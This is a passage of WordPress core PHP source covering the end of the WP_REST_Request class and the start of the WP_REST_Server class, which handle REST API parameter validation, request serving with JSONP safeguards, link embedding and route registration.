				/** @var mixed|WP_Error $sanitized_value */
				$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );

				if ( is_wp_error( $sanitized_value ) ) {
					$invalid_params[ $key ]  = implode( ' ', $sanitized_value->get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $sanitized_value )->get_data();
				} else {
					$this->params[ $type ][ $key ] = $sanitized_value;
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: List of invalid parameters. */
				sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
				array(
					'status'  => 400,
					'params'  => $invalid_params,
					'details' => $invalid_details,
				)
			);
		}

		return true;
	}

	/**
	 * Checks whether this request is valid according to its attributes.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if there are no parameters to validate or if all pass validation,
	 *                       WP_Error if required parameters are missing.
	 */
	public function has_valid_params() {
		// If JSON data was passed, check for errors.
		$json_error = $this->parse_json_params();
		if ( is_wp_error( $json_error ) ) {
			return $json_error;
		}

		$attributes = $this->get_attributes();
		$required   = array();

		$args = empty( $attributes['args'] ) ? array() : $attributes['args'];

		foreach ( $args as $key => $arg ) {
			$param = $this->get_param( $key );
			if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
				$required[] = $key;
			}
		}

		if ( ! empty( $required ) ) {
			return new WP_Error(
				'rest_missing_callback_param',
				/* translators: %s: List of required parameters. */
				sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ),
				array(
					'status' => 400,
					'params' => $required,
				)
			);
		}

		/*
		 * Check the validation callbacks for each registered arg.
		 *
		 * This is done after required checking as required checking is cheaper.
		 */
		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $args as $key => $arg ) {

			$param = $this->get_param( $key );

			if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
				/** @var bool|\WP_Error $valid_check */
				$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );

				if ( false === $valid_check ) {
					$invalid_params[ $key ] = __( 'Invalid parameter.' );
				}

				if ( is_wp_error( $valid_check ) ) {
					$invalid_params[ $key ]  = implode( ' ', $valid_check->get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $valid_check )->get_data();
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: List of invalid parameters. */
				sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
				array(
					'status'  => 400,
					'params'  => $invalid_params,
					'details' => $invalid_details,
				)
			);
		}

		if ( isset( $attributes['validate_callback'] ) ) {
			$valid_check = call_user_func( $attributes['validate_callback'], $this );

			if ( is_wp_error( $valid_check ) ) {
				return $valid_check;
			}

			if ( false === $valid_check ) {
				// A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback.
				return new WP_Error( 'rest_invalid_params', __( 'Invalid parameters.' ), array( 'status' => 400 ) );
			}
		}

		return true;
	}

	/**
	 * Checks if a parameter is set.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return bool Whether the parameter is set.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( isset( $this->params[ $type ][ $offset ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return $this->get_param( $offset );
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @param mixed  $value  Parameter value.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		$this->set_param( $offset, $value );
	}

	/**
	 * Removes a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		$order = $this->get_parameter_order();

		// Remove the offset from every group.
		foreach ( $order as $type ) {
			unset( $this->params[ $type ][ $offset ] );
		}
	}

	/**
	 * Retrieves a WP_REST_Request object from a full URL.
	 *
	 * @since 4.5.0
	 *
	 * @param string $url URL with protocol, domain, path and query args.
	 * @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
	 */
	public static function from_url( $url ) {
		$bits         = parse_url( $url );
		$query_params = array();

		if ( ! empty( $bits['query'] ) ) {
			wp_parse_str( $bits['query'], $query_params );
		}

		$api_root = rest_url();
		if ( get_option( 'permalink_structure' ) && str_starts_with( $url, $api_root ) ) {
			// Pretty permalinks on, and URL is under the API root.
			$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
			$route        = parse_url( $api_url_part, PHP_URL_PATH );
		} elseif ( ! empty( $query_params['rest_route'] ) ) {
			// ?rest_route=... set directly.
			$route = $query_params['rest_route'];
			unset( $query_params['rest_route'] );
		}

		$request = false;
		if ( ! empty( $route ) ) {
			$request = new WP_REST_Request( 'GET', $route );
			$request->set_query_params( $query_params );
		}

		/**
		 * Filters the REST API request generated from a URL.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_REST_Request|false $request Generated request object, or false if URL
		 *                                       could not be parsed.
		 * @param string                $url     URL the request was generated from.
		 */
		return apply_filters( 'rest_request_from_url', $request, $url );
	}
}
<?php
/**
 * REST API: WP_REST_Server class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement the WordPress REST API server.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_REST_Server {

	/**
	 * Alias for GET transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const READABLE = 'GET';

	/**
	 * Alias for POST transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const CREATABLE = 'POST';

	/**
	 * Alias for POST, PUT, PATCH transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const EDITABLE = 'POST, PUT, PATCH';

	/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const DELETABLE = 'DELETE';

	/**
	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';

	/**
	 * Namespaces registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $namespaces = array();

	/**
	 * Endpoints registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $endpoints = array();

	/**
	 * Options defined for the routes.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $route_options = array();

	/**
	 * Caches embedded requests.
	 *
	 * @since 5.4.0
	 * @var array
	 */
	protected $embed_cache = array();

	/**
	 * Stores request objects that are currently being handled.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	protected $dispatching_requests = array();

	/**
	 * Instantiates the REST server.
	 *
	 * @since 4.4.0
	 */
	public function __construct() {
		$this->endpoints = array(
			// Meta endpoints.
			'/'         => array(
				'callback' => array( $this, 'get_index' ),
				'methods'  => 'GET',
				'args'     => array(
					'context' => array(
						'default' => 'view',
					),
				),
			),
			'/batch/v1' => array(
				'callback' => array( $this, 'serve_batch_request_v1' ),
				'methods'  => 'POST',
				'args'     => array(
					'validation' => array(
						'type'    => 'string',
						'enum'    => array( 'require-all-validate', 'normal' ),
						'default' => 'normal',
					),
					'requests'   => array(
						'required' => true,
						'type'     => 'array',
						'maxItems' => $this->get_max_batch_size(),
						'items'    => array(
							'type'       => 'object',
							'properties' => array(
								'method'  => array(
									'type'    => 'string',
									'enum'    => array( 'POST', 'PUT', 'PATCH', 'DELETE' ),
									'default' => 'POST',
								),
								'path'    => array(
									'type'     => 'string',
									'required' => true,
								),
								'body'    => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => true,
								),
								'headers' => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => array(
										'type'  => array( 'string', 'array' ),
										'items' => array(
											'type' => 'string',
										),
									),
								),
							),
						),
					),
				),
			),
		);
	}


	/**
	 * Checks the authentication headers if supplied.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null|true WP_Error indicates unsuccessful login, null indicates successful
	 *                            or no authentication provided
	 */
	public function check_authentication() {
		/**
		 * Filters REST API authentication errors.
		 *
		 * This is used to pass a WP_Error from an authentication method back to
		 * the API.
		 *
		 * Authentication methods should check first if they're being used, as
		 * multiple authentication methods can be enabled on a site (cookies,
		 * HTTP basic auth, OAuth). If the authentication method hooked in is
		 * not actually being attempted, null should be returned to indicate
		 * another authentication method should check instead. Similarly,
		 * callbacks should ensure the value is `null` before checking for
		 * errors.
		 *
		 * A WP_Error instance can be returned if an error occurs, and this should
		 * match the format used by API methods internally (that is, the `status`
		 * data should be used). A callback can return `true` to indicate that
		 * the authentication method was used, and it succeeded.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Error|null|true $errors WP_Error if authentication error, null if authentication
		 *                                   method wasn't used, true if authentication succeeded.
		 */
		return apply_filters( 'rest_authentication_errors', null );
	}

	/**
	 * Converts an error to a response object.
	 *
	 * This iterates over all error codes and messages to change it into a flat
	 * array. This enables simpler client behavior, as it is represented as a
	 * list in JSON rather than an object/map.
	 *
	 * @since 4.4.0
	 * @since 5.7.0 Converted to a wrapper of {@see rest_convert_error_to_response()}.
	 *
	 * @param WP_Error $error WP_Error instance.
	 * @return WP_REST_Response List of associative arrays with code and message keys.
	 */
	protected function error_to_response( $error ) {
		return rest_convert_error_to_response( $error );
	}

	/**
	 * Retrieves an appropriate error representation in JSON.
	 *
	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
	 * cannot handle WP_Error internally. All callbacks and other internal methods
	 * should instead return a WP_Error with the data set to an array that includes
	 * a 'status' key, with the value being the HTTP status to send.
	 *
	 * @since 4.4.0
	 *
	 * @param string $code    WP_Error-style code.
	 * @param string $message Human-readable message.
	 * @param int    $status  Optional. HTTP status code to send. Default null.
	 * @return string JSON representation of the error
	 */
	protected function json_error( $code, $message, $status = null ) {
		if ( $status ) {
			$this->set_status( $status );
		}

		$error = compact( 'code', 'message' );

		return wp_json_encode( $error );
	}

	/**
	 * Gets the encoding options passed to {@see wp_json_encode}.
	 *
	 * @since 6.1.0
	 *
	 * @param \WP_REST_Request $request The current request object.
	 *
	 * @return int The JSON encode options.
	 */
	protected function get_json_encode_options( WP_REST_Request $request ) {
		$options = 0;

		if ( $request->has_param( '_pretty' ) ) {
			$options |= JSON_PRETTY_PRINT;
		}

		/**
		 * Filters the JSON encoding options used to send the REST API response.
		 *
		 * @since 6.1.0
		 *
		 * @param int $options             JSON encoding options {@see json_encode()}.
		 * @param WP_REST_Request $request Current request object.
		 */
		return apply_filters( 'rest_json_encode_options', $options, $request );
	}

	/**
	 * Handles serving a REST API request.
	 *
	 * Matches the current server URI to a route and runs the first matching
	 * callback then outputs a JSON representation of the returned value.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_REST_Server::dispatch()
	 *
	 * @global WP_User $current_user The currently authenticated user.
	 *
	 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
	 *                     Default null.
	 * @return null|false Null if not served and a HEAD request, false otherwise.
	 */
	public function serve_request( $path = null ) {
		/* @var WP_User|null $current_user */
		global $current_user;

		if ( $current_user instanceof WP_User && ! $current_user->exists() ) {
			/*
			 * If there is no current user authenticated via other means, clear
			 * the cached lack of user, so that an authenticate check can set it
			 * properly.
			 *
			 * This is done because for authentications such as Application
			 * Passwords, we don't want it to be accepted unless the current HTTP
			 * request is a REST API request, which can't always be identified early
			 * enough in evaluation.
			 */
			$current_user = null;
		}

		/**
		 * Filters whether JSONP is enabled for the REST API.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $jsonp_enabled Whether JSONP is enabled. Default true.
		 */
		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

		$jsonp_callback = false;
		if ( isset( $_GET['_jsonp'] ) ) {
			$jsonp_callback = $_GET['_jsonp'];
		}

		$content_type = ( $jsonp_callback && $jsonp_enabled ) ? 'application/javascript' : 'application/json';
		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
		$this->send_header( 'X-Robots-Tag', 'noindex' );

		$api_root = get_rest_url();
		if ( ! empty( $api_root ) ) {
			$this->send_header( 'Link', '<' . sanitize_url( $api_root ) . '>; rel="https://api.w.org/"' );
		}

		/*
		 * Mitigate possible JSONP Flash attacks.
		 *
		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
		 */
		$this->send_header( 'X-Content-Type-Options', 'nosniff' );

		/**
		 * Filters whether the REST API is enabled.
		 *
		 * @since 4.4.0
		 * @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
		 *                   restrict access to the REST API.
		 *
		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
		 */
		apply_filters_deprecated(
			'rest_enabled',
			array( true ),
			'4.7.0',
			'rest_authentication_errors',
			sprintf(
				/* translators: %s: rest_authentication_errors */
				__( 'The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead.' ),
				'rest_authentication_errors'
			)
		);

		if ( $jsonp_callback ) {
			if ( ! $jsonp_enabled ) {
				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
				return false;
			}

			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
				return false;
			}
		}

		if ( empty( $path ) ) {
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$path = $_SERVER['PATH_INFO'];
			} else {
				$path = '/';
			}
		}

		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

		$request->set_query_params( wp_unslash( $_GET ) );
		$request->set_body_params( wp_unslash( $_POST ) );
		$request->set_file_params( $_FILES );
		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
		$request->set_body( self::get_raw_data() );

		/*
		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
		 * header.
		 */
		$method_overridden = false;
		if ( isset( $_GET['_method'] ) ) {
			$request->set_method( $_GET['_method'] );
		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
			$method_overridden = true;
		}

		$expose_headers = array( 'X-WP-Total', 'X-WP-TotalPages', 'Link' );

		/**
		 * Filters the list of response headers that are exposed to REST API CORS requests.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $expose_headers The list of response headers to expose.
		 * @param WP_REST_Request $request        The request in context.
		 */
		$expose_headers = apply_filters( 'rest_exposed_cors_headers', $expose_headers, $request );

		$this->send_header( 'Access-Control-Expose-Headers', implode( ', ', $expose_headers ) );

		$allow_headers = array(
			'Authorization',
			'X-WP-Nonce',
			'Content-Disposition',
			'Content-MD5',
			'Content-Type',
		);

		/**
		 * Filters the list of request headers that are allowed for REST API CORS requests.
		 *
		 * The allowed headers are passed to the browser to specify which
		 * headers can be passed to the REST API. By default, we allow the
		 * Content-* headers needed to upload files to the media endpoints.
		 * As well as the Authorization and Nonce headers for allowing authentication.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $allow_headers The list of request headers to allow.
		 * @param WP_REST_Request $request       The request in context.
		 */
		$allow_headers = apply_filters( 'rest_allowed_cors_headers', $allow_headers, $request );

		$this->send_header( 'Access-Control-Allow-Headers', implode( ', ', $allow_headers ) );

		$result = $this->check_authentication();

		if ( ! is_wp_error( $result ) ) {
			$result = $this->dispatch( $request );
		}

		// Normalize to either WP_Error or WP_REST_Response...
		$result = rest_ensure_response( $result );

		// ...then convert WP_Error across.
		if ( is_wp_error( $result ) ) {
			$result = $this->error_to_response( $result );
		}

		/**
		 * Filters the REST API response.
		 *
		 * Allows modification of the response before returning.
		 *
		 * @since 4.4.0
		 * @since 4.5.0 Applied to embedded responses.
		 *
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Server   $server  Server instance.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );

		// Wrap the response in an envelope if asked for.
		if ( isset( $_GET['_envelope'] ) ) {
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->envelope_response( $result, $embed );
		}

		// Send extra data from response objects.
		$headers = $result->get_headers();
		$this->send_headers( $headers );

		$code = $result->get_status();
		$this->set_status( $code );

		/**
		 * Filters whether to send no-cache headers on a REST API request.
		 *
		 * @since 4.4.0
		 * @since 6.3.2 Moved the block to catch the filter added on rest_cookie_check_errors() from wp-includes/rest-api.php.
		 *
		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
		 */
		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );

		/*
		 * Send no-cache headers if $send_no_cache_headers is true,
		 * OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
		 */
		if ( $send_no_cache_headers || ( true === $method_overridden && str_starts_with( $code, '4' ) ) ) {
			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
				if ( empty( $header_value ) ) {
					$this->remove_header( $header );
				} else {
					$this->send_header( $header, $header_value );
				}
			}
		}

		/**
		 * Filters whether the REST API request has already been served.
		 *
		 * Allow sending the request manually - by returning true, the API result
		 * will not be sent to the client.
		 *
		 * @since 4.4.0
		 *
		 * @param bool             $served  Whether the request has already been served.
		 *                                           Default false.
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 * @param WP_REST_Server   $server  Server instance.
		 */
		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );

		if ( ! $served ) {
			if ( 'HEAD' === $request->get_method() ) {
				return null;
			}

			// Embed links inside the request.
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->response_to_data( $result, $embed );

			/**
			 * Filters the REST API response.
			 *
			 * Allows modification of the response data after inserting
			 * embedded data (if any) and before echoing the response data.
			 *
			 * @since 4.8.1
			 *
			 * @param array            $result  Response data to send to the client.
			 * @param WP_REST_Server   $server  Server instance.
			 * @param WP_REST_Request  $request Request used to generate the response.
			 */
			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );

			// The 204 response shouldn't have a body.
			if ( 204 === $code || null === $result ) {
				return null;
			}

			$result = wp_json_encode( $result, $this->get_json_encode_options( $request ) );

			$json_error_message = $this->get_json_last_error();

			if ( $json_error_message ) {
				$this->set_status( 500 );
				$json_error_obj = new WP_Error(
					'rest_encode_error',
					$json_error_message,
					array( 'status' => 500 )
				);

				$result = $this->error_to_response( $json_error_obj );
				$result = wp_json_encode( $result->data, $this->get_json_encode_options( $request ) );
			}

			if ( $jsonp_callback ) {
				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
				echo '/**/' . $jsonp_callback . '(' . $result . ')';
			} else {
				echo $result;
			}
		}

		return null;
	}

	/**
	 * Converts a response to data to send.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	public function response_to_data( $response, $embed ) {
		$data  = $response->get_data();
		$links = self::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			// Convert links to part of the data.
			$data['_links'] = $links;
		}

		if ( $embed ) {
			$this->embed_cache = array();
			// Determine if this is a numeric array.
			if ( wp_is_numeric_array( $data ) ) {
				foreach ( $data as $key => $item ) {
					$data[ $key ] = $this->embed_links( $item, $embed );
				}
			} else {
				$data = $this->embed_links( $data, $embed );
			}
			$this->embed_cache = array();
		}

		return $data;
	}

	/**
	 * Retrieves links from a response.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_response_links( $response ) {
		$links = $response->get_links();

		if ( empty( $links ) ) {
			return array();
		}

		// Convert links to part of the data.
		$data = array();
		foreach ( $links as $rel => $items ) {
			$data[ $rel ] = array();

			foreach ( $items as $item ) {
				$attributes         = $item['attributes'];
				$attributes['href'] = $item['href'];
				$data[ $rel ][]     = $attributes;
			}
		}

		return $data;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_compact_response_links( $response ) {
		$links = self::get_response_links( $response );

		if ( empty( $links ) ) {
			return array();
		}

		$curies      = $response->get_curies();
		$used_curies = array();

		foreach ( $links as $rel => $items ) {

			// Convert $rel URIs to their compact versions if they exist.
			foreach ( $curies as $curie ) {
				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
				if ( ! str_starts_with( $rel, $href_prefix ) ) {
					continue;
				}

				// Relation now changes from '$uri' to '$curie:$relation'.
				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
				preg_match( '!' . $rel_regex . '!', $rel, $matches );
				if ( $matches ) {
					$new_rel                       = $curie['name'] . ':' . $matches[1];
					$used_curies[ $curie['name'] ] = $curie;
					$links[ $new_rel ]             = $items;
					unset( $links[ $rel ] );
					break;
				}
			}
		}

		// Push the curies onto the start of the links array.
		if ( $used_curies ) {
			$links['curies'] = array_values( $used_curies );
		}

		return $links;
	}

	/**
	 * Embeds the links from the data into the request.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param array         $data  Data from the request.
	 * @param bool|string[] $embed Whether to embed all links or a filtered list of link relations.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	protected function embed_links( $data, $embed = true ) {
		if ( empty( $data['_links'] ) ) {
			return $data;
		}

		$embedded = array();

		foreach ( $data['_links'] as $rel => $links ) {
			/*
			 * If a list of relations was specified, and the link relation
			 * is not in the list of allowed relations, don't process the link.
			 */
			if ( is_array( $embed ) && ! in_array( $rel, $embed, true ) ) {
				continue;
			}

			$embeds = array();

			foreach ( $links as $item ) {
				// Determine if the link is embeddable.
				if ( empty( $item['embeddable'] ) ) {
					// Ensure we keep the same order.
					$embeds[] = array();
					continue;
				}

				if ( ! array_key_exists( $item['href'], $this->embed_cache ) ) {
					// Run through our internal routing and serve.
					$request = WP_REST_Request::from_url( $item['href'] );
					if ( ! $request ) {
						$embeds[] = array();
						continue;
					}

					// Embedded resources get passed context=embed.
					if ( empty( $request['context'] ) ) {
						$request['context'] = 'embed';
					}

					if ( empty( $request['per_page'] ) ) {
						$matched = $this->match_request_to_handler( $request );
						if ( ! is_wp_error( $matched ) && isset( $matched[1]['args']['per_page']['maximum'] ) ) {
							$request['per_page'] = (int) $matched[1]['args']['per_page']['maximum'];
						}
					}

					$response = $this->dispatch( $request );

					/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
					$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );

					$this->embed_cache[ $item['href'] ] = $this->response_to_data( $response, false );
				}

				$embeds[] = $this->embed_cache[ $item['href'] ];
			}

			// Determine if any real links were found.
			$has_links = count( array_filter( $embeds ) );

			if ( $has_links ) {
				$embedded[ $rel ] = $embeds;
			}
		}

		if ( ! empty( $embedded ) ) {
			$data['_embedded'] = $embedded;
		}

		return $data;
	}

	/**
	 * Wraps the response in an envelope.
	 *
	 * The enveloping technique is used to work around browser/client
	 * compatibility issues. Essentially, it converts the full HTTP response to
	 * data instead.
	 *
	 * @since 4.4.0
	 * @since 6.0.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return WP_REST_Response New response with wrapped data
	 */
	public function envelope_response( $response, $embed ) {
		$envelope = array(
			'body'    => $this->response_to_data( $response, $embed ),
			'status'  => $response->get_status(),
			'headers' => $response->get_headers(),
		);

		/**
		 * Filters the enveloped form of a REST API response.
		 *
		 * @since 4.4.0
		 *
		 * @param array            $envelope {
		 *     Envelope data.
		 *
		 *     @type array $body    Response data.
		 *     @type int   $status  The 3-digit HTTP status code.
		 *     @type array $headers Map of header name to header value.
		 * }
		 * @param WP_REST_Response $response Original response data.
		 */
		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );

		// Ensure it's still a response and return.
		return rest_ensure_response( $envelope );
	}

	/**
	 * Registers a route to the server.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route_namespace Namespace.
	 * @param string $route           The REST route.
	 * @param array  $route_args      Route arguments.
	 * @param bool   $override        Optional. Whether the route should be overridden if it already exists.
	 *                                Default false.
	 */
	public function register_route( $route_namespace, $route, $route_args, $override = false ) {
		if ( ! isset( $this->namespaces[ $route_namespace ] ) ) {
			$this->namespaces[ $route_namespace ] = array();

			$this->register_route(
				$route_namespace,
				'/' . $route_namespace,
				array(
					array(
						'methods'  => self::READABLE,
						'callback' => array( $this, 'get_namespace_index' ),
						'args'     => array(
							'namespace' => array(
								'default' => $route_namespace,
							),
							'context'   => array(
								'default' => 'view',
							),
						),
					),
				)
			);
		}

		// Associative to avoid double-registration.
		$this->namespaces[ $route_namespace ][ $route ] = true;

		$route_args['namespace'] = $route_namespace;

		if ( $override || empty( $this->endpoints[ $route ] ) ) {
			$this->endpoints[ $route ] = $route_args;
		} else {
			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
		}
	}

	/**
	 * Retrieves the route map.
	 *
	 * The route map is an associative array with path regexes as the keys. The
	 * value is an indexed array with the callback function/method as the first
	 * item, and a bitmask of HTTP methods as the second item (see the class
	 * constants).
	 *
	 * Each route can be mapped to more than one callback by using an array of
	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
	 * and POST requests to another.
	 *
	 * Note that the path regexes (array keys) must have @ escaped, as this is
	 * used as the delimiter with preg_match()
	 *
	 * @since 4.4.0
	 * @since 5.4.0 Added `$route_namespace` parameter.
	 *
	 * @param string $route_namespace Optionally, only return routes in the given namespace.
	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
	 */
	public function get_routes( $route_namespace = '' ) {
		$endpoints = $this->endpoints;

		if ( $route_namespace ) {
			$endpoints = wp_list_filter( $endpoints, array( 'namespace' => $route_namespace ) );
		}

		/**
		 * Filters the array of available REST API endpoints.
		 *
		 * @since 4.4.0
		 *
		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
		 *                         to an array of callbacks for the endpoint. These take the format
		 *                         `'/path/regex' => array( $callback, $bitmask )` or
		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
		 */
		$endpoints = apply_filters( 'rest_endpoints', $endpoints );

		// Normalize the endpoints.
		$defaults = array(
			'methods'       => '',
			'accept_json'   => false,
			'accept_raw'    => false,
			'show_in_index' => true,
			'args'          => array(),
		);

		foreach ( $endpoints as $route => &$handlers ) {

			if ( isset( $handlers['callback'] ) ) {
				// Single endpoint, add one deeper.
				$handlers = array( $handlers );
			}

			if ( ! isset( $this->route_options[ $route ] ) ) {
				$this->route_options[ $route ] = array();
			}

			foreach ( $handlers as $key => &$handler ) {

				if ( ! is_numeric( $key ) ) {
					// Route option, move it to the options.
					$this->route_options[ $route ][ $key ] = $handler;
					unset( $handlers[ $key ] );
					continue;
				}

				$handler = wp_parse_args( $handler, $defaults );

				// Allow comma-separated HTTP methods.
				if ( is_string( $handler['methods'] ) ) {
					$methods = explode( ',', $handler['methods'] );
				} elseif ( is_array( $handler['methods'] ) ) {
					$methods = $handler['methods'];
				} else {
					$methods = array();
				}

				$handler['methods'] = array();

				foreach ( $methods as $method ) {
					$method                        = strtoupper( trim( $method ) );
					$handler['methods'][ $method ] = true;
				}
			}
		}

		return $endpoints;
	}

	/**
	 * Retrieves namespaces registered on the server.
	 *
	 * @since 4.4.0
	 *
	 * @return string[] List of registered namespaces.
	 */
	public function get_namespaces() {
		return array_keys( $this->namespaces );
	}

	/**
	 * Retrieves specified options for a route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route pattern to fetch options for.
	 * @return array|null Data as an associative array if found, or null if not found.
	 */
	public function get_route_options( $route ) {
		if ( ! isset( $this->route_options[ $route ] ) ) {
			return null;
		}

		return $this->route_options[ $route ];
	}

	/**
	 * Matches the request to a callback and call it.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request to attempt dispatching.
	 * @return WP_REST_Response Response returned by the callback.
	 */
	public function dispatch( $request ) {
		$this->dispatching_requests[] = $request;

		/**
